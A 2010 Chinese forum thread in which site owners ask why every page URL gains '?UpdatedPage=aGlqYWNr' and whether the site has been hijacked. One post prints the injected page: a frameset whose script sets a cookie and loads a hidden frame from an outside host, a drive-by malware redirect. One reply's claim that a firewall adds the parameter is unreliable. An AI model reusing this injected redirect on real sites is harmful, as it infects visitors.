?UpdatedPage=aGlqYWNr 网站是被挂马了吗？怎么办

月黑风高的夜晚 · 发表于 2010-2-11 13:38:00

不管什么页面打开后，链接后面都带这个?UpdatedPage=aGlqYWNr

首页：http://www.xxxxx.com/index.php?UpdatedPage=aGlqYWNr

个人中心：http://www.xxxxx.com/space.php?do=home&UpdatedPage=aGlqYWNr

LT163 · 发表于 2010-2-11 23:36:32

同样问题！请求帮助！

D国时代 · 发表于 2010-2-12 00:02:52

没碰到过

埋葬 · 发表于 2010-2-12 05:20:29

后面的一连串代码是硬件防火墙造成的，
有些服务器提供商在你的网站受到浏览攻击时会自动帮你加上防护

ku9158 · 发表于 2010-2-12 06:45:13

提示: 作者被禁止或删除内容自动屏蔽

LT163 · 发表于 2010-2-14 01:19:39

所有的页面远程访问源码都被改成下面的代码，但服务器端检查正常！重装系统也没用！更换IP后正常！但很快又这样了！是什么原因？？？？

<html>
<head>
</head>
<script>
function showme()
{
var CK=document.cookie;
var sa=CK.indexOf("CK");
if(sa!=-1){}else{var EP=new Date();
EP.setTime(EP.getTime()+24*60*60*1000);
document.cookie="CK=test;expires="+EP.toGMTString();
self.hi.location="http://www.wdcps.com/inc/3.htm";}
}
</script>
<frameset rows="100%,*" onLoad="showme()">
<frame name="hello" src="/bbs?UpdatedPage=aGlqYWNr">
<frame name="hi" src="">
</frameset>
</html>

LT163 · 发表于 2010-2-14 15:44:48

没人理？？？？？

iyuki · 发表于 2010-2-14 20:28:34

请问楼主是在哪个机房。。。
网段是多少。。
我和你一样的情况。。。

LT163 · 发表于 2010-2-16 00:06:31

镇江机房 222.186.25.XXX

406656345 · 发表于 2010-2-16 13:04:16

4楼已经回复

		自动登录	找回密码
密码			立即注册

[疑难] ?UpdatedPage=aGlqYWNr 网站是被挂马了吗？怎么办